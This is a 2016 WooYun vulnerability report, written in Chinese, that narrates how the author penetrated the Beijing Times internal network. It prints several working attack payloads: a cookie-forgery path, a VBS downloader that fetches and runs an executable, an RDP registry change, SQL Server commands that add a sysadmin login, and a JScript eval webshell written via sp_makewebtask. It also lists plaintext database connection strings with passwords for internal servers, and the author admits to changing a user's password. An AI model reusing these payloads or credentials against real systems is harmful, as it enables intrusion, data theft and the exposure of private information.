当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0211100

漏洞标题:从bin.rar到京华时报内网

相关厂商:jinghua.cn

漏洞作者: niexinming

提交时间:2016-05-21 09:34

修复时间:2016-05-27 13:30

公开时间:2016-05-27 13:30

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-21: 细节已通知厂商并且等待厂商处理中
2016-05-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

京华网和京华亿家都是属于京华时报,所以这个漏洞就给你们好了
Ps:渗透快两个月了求个精华吧

详细说明:

首先从http://shop.yijia360.com:81/bin.rar 找到一个压缩包
解压之后是asp.net 网站的dll文件,

1.jpg


我用ILSpy反编译一下,发现这个是经典的.net mvc架构,而且Model层用了比较新的linq to sql,也就是说,如果程序员不是特别傻逼的话,Sql注入是没戏了,然后我逆向了两个星期,证明了一件事,就是这个程序员是挺有经验的人……,但是,既然给源代码了,就一定能找到漏洞!!!!!主要反编译的文件是ERP_Web.dll

2.jpg


这个文件是control层的代码
后来我展开ERP_Web节点的left代码的时候发现有戏:

3.jpg


我跟踪Context.GetCookie这个函数

4.jpg


发现:

5.jpg


再跟进:Decrypt()

6.jpg


这整个过程就很清晰了:用户登陆之后把用户Id做Des加密保存到Cookie里面,用户请求页面的时候再把Cookie的加密数据解密,然后从数据库里面查询用户的是否存在,权限是什么
下面我们寻找一下密钥:
发现程序员把密钥写死在代码里面了:
在KeyCryp类里面:

7.jpg


而且我在这个地址发现可以不用登陆就可以得到管理员的Id:
http://shop.yijia360.com:81/role/SearchAdmin.aspx

8.jpg


我写了一个还原的程序:

daima.jpg


运行之后:

9.jpg


在浏览器里面:

10.jpg


然后访问:http://223.71.241.126:81/index.html

11.jpg


进到后台了,在产品设置->产品管理->编辑 发现
产品图片上传:

12.jpg


传个木马上去
Ok
http://223.71.241.126:81/Images/Product/2799/bigPicdbcd07db-a0e4-4431-afd4-ee358d9ade1b.aspx
缺陷对应的源代码在:

13.jpg


好了,拿到Shell之后后面就都是老司机的套路了
首先发现这个服务器没有打系统补丁,然后用ms51-051秒掉
加个用户用kali+reGeorgSocksProxy.py+proxychains+rdesktop就上到服务器的远程桌面了:(中间有个小的技术点就是:如果你这样直接链接上去的话,rdesktop会报错:Failed to connect, CredSSP required by server 原因是windows系统的远程登陆启用了仅允许运行使用网络级别身份验证的远程桌面的计算机连接,我要改成:允许运行任意版本的远程桌面的计算机连接:
在WebShell里面这样操作:reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

yuancheng.jpg



14.jpg


扫了个端口:
发现:10.8.1.99和10.8.1.101开了Ftp
其中10.8.1.99的ftp用户名和密码都是admin

15.jpg


发现个压缩包:物流水.发行.老超市(含内外网).zip 下载下来
发现里面有个配置文件:

16.jpg


发现10.8.1.1的数据库密码,然后发现这个账号的是sysadmin的权限,而且数据库的服务器权限是System,这样的后果是,服务器沦陷:

17.jpg


发现服务器上还插了个U盘,里面的是大量的企业机密和个人隐私:

18.jpg


19.jpg


在10.8.1.101的Ftp里面发现:(ftp的用户名密码都是:public)

20.jpg


这些系统都下载下来之后就发现配置文件里面有各个系统的数据库密码:
server=10.8.1.2;UID=FaXingAdmin;PWD=FaXingAdmin*!%$_365;database=master;Provider=SQLOLEDB public
server=10.8.1.40;UID=u_zichan;PWD=zc1qaz@WSX;database=master;Provider=SQLOLEDB sa
server=10.8.1.1;UID=sa;PWD=jhsb_fxzx_jsz;database=master;Provider=SQLOLEDB sa
server=10.8.1.36;database=JHERP;uid=JHERP;password=liuhkjf(*IUGIUJ579 public
server=10.8.1.4;UID=db_shop;PWD=dbshopdbshopdbshop_123;database=master;Provider=SQLOLEDB public
user id=sa;password=JHfx_!>%_54213;data source=10.8.1.5;persist security info=False;initial catalog=Retail_Web
我发现10.8.1.40这个数据库虽然是sysadmin的用户但是服务器的权限不高,但是这个服务器也没有打补丁,就开了1433端口,所以我把ms15-051放入我控制的10.8.1.36的网站根目录底下,然后用echo 写的方式写了一个vb的下载者木马:
echo iLocal = LCase(WScript.Arguments(1)) >c://iget.vbs
echo iRemote = LCase(WScript.Arguments(0)) >>c://iget.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>c://iget.vbs
echo xPost.Open "GET",iRemote,0 >>c://iget.vbs
echo xPost.Send() >>c://iget.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>c://iget.vbs
echo sGet.Mode = 3 >>c://iget.vbs
echo sGet.Type = 1 >>c://iget.vbs
echo sGet.Open() >>c://iget.vbs
echo sGet.Write(xPost.responseBody) >>c://iget.vbs
echo sGet.SaveToFile iLocal,2 >>c://iget.vbs
用法: cscript c://iget.vbs http:// 10.8.1.36/1.exe c://1.exe
然后用ms51-051提权拿到服务器权限:

21.jpg


在http://10.8.1.5:4242/ 有sql注入:

22.jpg


用’;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5'—
检测后面的数据库权限,结果是Sysadmin
然后在数据库里面添加另一个Sysadmin的帐号
创建用户并且赋予sysadmin角色:
EXEC sp_addlogin 'myadmin','myadmin','master'
EXEC sp_addsrvrolemember 'myadmin', 'sysadmin'
然后连接:

23.jpg


因为管理员完全封闭了xp_cmdshell我用xp_dirtree查看目录
EXEC MASTER..XP_dirtree 'c:\',1,1
找到网站的目录:
D:\WEB\bjtissue.com.cn\Pl_Manage\
利用数据库的一个写文件的存储过程写个shell
sp_makewebtask @outputfile='d:\WEB\bjtissue.com.cn\Pl_Manage\bin.aspx',@charset=utf8,@query='select ''<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%>'''
用菜刀连接之后拿到shell
在:http://www.bjtissue.com.cn:42424/x.aspx

24.jpg


因为还有很多事情要忙,所以渗透就到这里

漏洞证明:

如上都有
对了,你们那台10.8.1.36的服务器用户sqladmin的密码被我不小心改成Admin#123了,真是特别抱歉

修复方案:

代码层面用Session代替cookie,文件上传要验证后缀
运维方面,请把网站的压缩包从站点目录删除:
包括:http://shop.yijia360.com/web.zip
http://shop.yijia360.com/bin.rar
http://shop.yijia360.com:81/bin.rar
http://shop.yijia360.com:81/bin.rar
http://shop.yijia360.com:81/order.rar
请删掉
关闭目录遍历
内网ftp密码设置复杂一点
请将我的木马删除:
http://223.71.241.126:81/Images/Product/2799/bigPicdbcd07db-a0e4-4431-afd4-ee358d9ade1b.aspx
http://223.71.241.126:81/Images/Product/2799/bigPice64d9e07-5c8f-4337-aef6-8634e0be3c32.cer
http://www.bjtissue.com.cn:42424/x.aspx
http://www.bjtissue.com.cn:42424/bin.asp
http://www.bjtissue.com.cn:42424/bin1.asp

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-27 13:30

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无